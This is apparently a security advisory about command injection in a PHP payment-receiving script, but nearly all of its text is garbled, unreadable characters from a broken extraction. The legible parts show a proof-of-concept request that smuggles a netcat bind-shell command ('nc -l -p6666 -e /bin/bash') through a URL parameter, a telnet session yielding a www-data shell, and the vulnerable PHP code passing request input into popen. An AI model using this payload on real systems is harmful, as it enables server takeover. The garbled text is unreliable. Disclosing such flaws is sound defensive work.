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% � ��� �� ������& �� ���� � �% ��" ������������������������������������������������������������������������ 
' �����(� � ���) �� � ��� ��� � ������������������������������������������������������������������������������� 
� ���� ��#�� � " � � � �� �� �������������������������������������������������������������������������������� 
� ���� ��#�� ���� � ��� �% � �� �� � ��� ���������������������������������������������������������������������� 
* ��� �������
 ����� �" � ��������������������������������������������������������������������������������� 
(� � ���! �� �� �� ������������������������������������������������������������������������������������������ 
+ $ �" � ���� ���� , ��������������������������������������������������������������������������������������� 
) ������#�(� � ���) �� � ��� ��� � ��������������������������������������������������������������������������� 
(� � ���- ���� ���� � ��������������������������������������������������������������������������������������� 
� * � � �(� � ���� �. ������� � � ��� ������������������������������������������������������������������������ 
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�� ��� � � � ������ ��� ��� ���� �#��. �� #� ���� #�� �� #�� ��� �� ������� � � � ����� � �� � " � �� ������ �#��� �
� � � �� � �� �� ��) �� " ��, ���� #�� � ������ � ��� �� �� � � ���+ ��� � ���
�
 �������$ � ���� ��� �#�� � � . ���� � ��� #�" �� �� �� � �. ��� ����������� ��� ��� � ��� ���� � � ��� #��� �(% �
�� ���� ���� ������ �� � ��� �� ��� � �, ��/ ��� " �� ���� #�� ��. ��� ��
�
 ��������� � �� �������#����* (� � ��� #�- �� ���� ��#��� �� ���� �" �
 � (�) ����� �� ������� ��� #��#���#��� ��
�
(���� ��� � ��#���, ���� �� ����" � ������ ���� ���� ��. �� �� ��� ��� ��#��� � �� ��� � ���� �� � �. �� � ���� � �� ���� �
� �� ������� �� ���" ��� ���� ��. �� ���� � � ��� ��� � � � ����� ���� ��� ����0 12�� 
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% � ���� �� �" ���� � ��� ��� �� ��#. �� � ����� �� � � ���� � ��	
 
 � ��� ��� � � � ����� �� ��(���� �� �� . �#�#�� � ��� ���� ���
� �� �� " ��� ��� #�� �� ��� ��� #��� ��� #��� ����� , ��� ���" ��������� �� � ������� � �� � ������ ��#�� � ��� ����� � �
�� ����� �� ��" � ��

(� �� �� ���� ��� �� � ��� �� � � ���� �� �" ���� � ���� " ��� �� ��#. �� � ������ ��" �� ������ ���� � � ������� ������ ���������� �
�� �� �#� � �" �� ��3�� � ��#�� � �� ���4 & 5 6��

7 � �� ����� ������ �� �� . �#�#��� ���� ���� � ���� ��� ���� �� ��� �� �" ���� � ��� ��#�" �� ���� ��" ���� ��� ���� ���
� �� ��" � ��� ���� ��� � ���

���������������������������

% � �� ��#. �� � ���� �� ����� �#�� � � . ���#������ ��� � � � ���8� �� �� ������& �� ���� � �% ��" �3���" 9" �" ���:�
� � #��� �� � ��� ��� � �� 6���� �� ����� ����� �� ������� . �� ��� ���� � ��� �� ��� ��� �� ������� ��� � ��� ������ �#��� ��� ��
(% ��� . ��� � " �� �� �� ��� ������ �� � ����� ��. �� �� �� �� �� " ����

�� ��� � � � ������ ���� � �� ����� ���� ���� � � �� ���� ��. �� �� �� ��� �� ��� ������#�� ��(% �� �� ������� ������. ��� ����������
�$ � ���� ��� ���� ��� ���� �� �� � ��� ���� ��� �� ��� �� �� ��� ���� �" � ��. �� ��� ��� � ���� ��� �" ��� �� �� �� ������
�� ����� ��� ����$ �� ���� #���;��� �� ��� ��" � �������� � � � ����� �� ��� #�� ��� ���� � � � � ���������� ��� � �� ���� ���� , � ��
< ���� ��" ����� ��. �� �� ������ �� ��������� �� ��� #�� ��� ��� ����9� ���� ��#�� �� ������� � � � ����� � ���

�� ��" � ����� �� �" ���� � :�� � � ��� ��� � � � ����� ����
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� � ������ , ���� �� ���/ ��� ����� �" � ���4 & 5 ���� �� �#����� ��$ �� ����� � " " �� #� �� � �� � � � � ��� #�� ��" �� ��
� ���� ��� �� � �� � ��" � �� ���� ��� ����� ��" �� ��� ���� ����

7 � ����� ����� �� ��� � ���" ���� �. ��� � �� ��������. �� � ���� �
 � (�) � � �� �������#�� ���� ��
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� ������ ���) �� �� � ��9� ������� �� ��" ��� � � � � ��� #�� ��" �� ��� ���� ��� �� � �� � �� �� � ��� ��� � �� ��� ����
� ��" �� �� ��� � ������� ���� ����
 ��" �� ��� ���� ��3�
 � 6�� � ��� ����� � � � �� ��� ��" �� ��� ���� ���� ��� ��. ����

% � �� ��#. �� � ���� � . ��� ��
 � �. ��� �� � ���> 
 ��� #���� 
 ��< �� ���. ��� �� � � ���" ��� ��� ��� ��#��� ��� �������� � �
�� � � ����. ���������� ��#� � � �� �#���
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% � � �� � ��� ������ �� � ���� ��� ��������� � ��� �� �� " ��� ���� ������ ������ ��� ��� � � ��� � �� �� . �#��� ��� ���� ������ ����
�� ����#�� � � ��� � ��� � �� � �� �� ������ �� #������ ���� ��� � �� � �4 & 5 :�

� ��� :��� � � ��� ����#, �� �� ���� � ? , ��� � �#@ � ��. �� �� ���� �����

(���� �. ����� ���� ������ � ���" �� ��� ���� �� ��� � ��#��� ���� ��#��������� ���� � ��� � ��� � � �� � � ������� � �� � �� � �
5 �� �$ ���

 ��
�������!���������

 �� #� � � ��5 �� �$ ��� #�����' � ) �. ��� �� � � ���������� ��#������� � ����� ��
 ! 
 ��" � ��" �� ����� � �� ���� �� ���
< � � �� #� � � ������� �" � �����, ������ ����� ��� < - �� ��. ���. ��� �� � �� ��� ���8� �� � ��� ����� ��������� �#��% � �� �
�� �� � ��. ��� ��������� ��� ��� �" ������� , �. �� �� ����

7 � ����� ����� �� ��� � ���� �� �� � ������� ���� ��#�� � ��� ��5 �� �$ �. ��� �� � �������� ��� � #���� � ���� ��#�� ��� ����

������"�������

	
 
 2� � � � � ���� ��(� ������) �� � � . �������� ��� � � � �� ��� �#���� ��� � � � ����

���������2�� �	
 
 � � � � ���� �� �� ��� ����� � ��� ��������� ��� � � � �����

����������=�� �	
 
 � � ) �� �������� � �� ���#. �� � ����� �����. �� ���� ��� � � � ����� �� �� " ��� �

����������2�� �	
 
 � � ) �� � �� � ������ �� ����

- ��� � ��2�� �	
 
 � � % �� ����. ��� ����� �#�� � �� � ����#����

�

7 � ����� ����� ���� ����� �� ��� � ���� �� ����� �, � � � � ��� �� �� � ���� ��� �#���� ��� � � � ������ ��� � " ����" ����� #�
�� ����� �� ��� ���� �" � ����� � ����� ��$ � �� �����
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#$������
����%�

(���� ���� ��� � �� � �4 & 5 ��� ���/ ��� ��#���� #������ ��� � � ��A. �� ��" B�� �� ��
 � ��� � �����#���� �� ������ ��� �� � �' �� � �
� � ����� �������� �����#�� � �� � ���> > > > ���

GET 
http://ewire.victim/simplePHPLinux/3payment_receive.php?paymentin
fo=`/bin/nc -l -p6666 -e /bin/bash` 
 
$ telnet ewire.victim 6666 
$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data) 
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% � ��. ��� �����������$ �� �� �� ��� �� ��� ��
 ! 
 �� � ��� ���� ���� � ��� � ��� � � �� � � ���� ��� � ��#�������� � �, �� � ��� ���
� ��� � ����� ���� ��� �� � ��������C�� ����� ��" �� ��� ���� �C��% � �� ��������� ���� � ��� � ��� � � �� � � ��#� �� �� � ��
� �� ���D ����� �" �� �� ���� ��. �#��� ��� ��4 & 5 �� � �� �� ����� � ���� � " " �� #���� ���$ �� ��������

� � ��� � � � �� ��� ��" �� ��� ����� � �� � ��� �� ��� ������� ��#�� � " � � � �� �� �� ��� � ����� �� � ��$ ������ � ���
� �� ������ � ����� , � ����� � �� � ��$ �� ���� � �� ������������� � " " �� #� ��% � ��A/ ��� , �� ����B�� � � � ������ ��� � ��#�#��� �
�� ���
 � �#�� �������� � �� �� , �� �� �#� �� � ��� ���� �" ��� ��� �� ���D ���� � ���

=� ��" �� �E ��� ��. ��� � � ��� � �� �� ���F + % ���� �" �� ��� ����#�C� ��" �� ��� �� C�� � �� � ��� ��������� �#��� ��
� ����� � ������ � ��� � �� ��� �� ��� ���� � ��� � ��� � � �� � � ��� ��� ���� ��� � �� � �" �� � ��:��

$strEncryptedPaymentInfo = $_GET["paymentinfo"]; 
 
ewirePC_Decrypt( 
  $ewireMerchantID,  
  $ewireServerURL,  
  $strEncryptedPaymentInfo 
 ) 

�

�� ���
 � E ) �� ��� �36	�� ������ � ��� � �� ��� �� 	�� ���� � ��� � ��� � � �� � � �	(� ��� ���
 � E ) �� ��� �36�	
G � ��+ � � ��� ��#
 ��" �� �(� �� ���� � " �� �G � ��
 ��" �� �(� �� ���

�

$strCommandLine = "decrypt \"$strMerchantID\" \"$strServerUrl\" 
\"$strPaymentInfo\""; 
$handle = popen($ewirePaymentClientFileName . " " . 
$strCommandLine, "r"); 

 

% � ����� �" �� ��CG � ��
 ��" �� �(� �� C���� #� ��� �� � ��� ��� � " " �� #���� ���� " � #����#��� #��� � � �� , �#���

�
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�� � � 	� � � �� �� � 	�  	� ! �� � " #  � � # $�� � � �" % " 		

(���� �� �" � ����� �" ���� ������ �� ��� � ���� � ��� #�. �#����" �� � �� �� ������ �� ���D �� � ��� � ������� �������� ��� �#��� �
�� ��. ��� �������� � � �� 36�� ������

(" � ��" �� ��� � ��� �� �� � �, ��� �� #�� ����� � ��� ��� ���� ���� � � ��� ���� � ��� � �������

	 �����������'�������������

% � ���� � ��� �#�� � ����#��� ��� �� ��#. �� � ���� �. ����� ��. �#������ ��� � � ���� ��H �	��% � ��� � � ����� ���� �#�� � �
�� ���� ��� � �� � �� ���������

�� ��� � � � ����� �� ��� �#��� ��� � ��� ��� * � � �� ��� ����� ���� �� #����
� ��� :��� � � �� ��� � �#. �� � ��� � " �
 ��� � � #. �� � ��� * � � � ��� ����� ���� � $ ��� �� ��� �������� �� ��� � � ��� ��

�

& 
��	' ������(	) �� 	

� � � �� � �* �� �� �:�� & �" � ���

� � � �� � �� � " � ��$ ���:�� 5 � � �3� �" � ������ , ��� , �� � " " �� #��$ �� ���� � ��� �4 & 5 6�

� ��� �� ��� ���� � :�� 7 � ��& �/ ����#�

� � � ��#�� ��������(" � �� �:� � � " � �����

(� ��� �����(" � �� �:� � � " � �����

� . �����������(" � �� �:� 
 �������

(" � �� ��' ��� :� � � � � ��#�� ��������

�

��' * 
�
+ 	' ������(	, �� 	

+ $ � �� ���������:� � ! �� � ���

& �" �#����� � �5 �. ��:�  � �, ��� �� #�3�##��� ���� � � �� �� ���D ���� � �� � #�6�

& �� � ���� � � ��#�� � �:� � � � ���" �#�3�� ���� ������ ��� �� ��� ��� � � � ���6�

�

�- ���
- ' �- �	' ������(	, �, 	

� � ���������) �" �� �:� - �#��" �

% ��� ���) �� �������� � :� 5 � � �

�


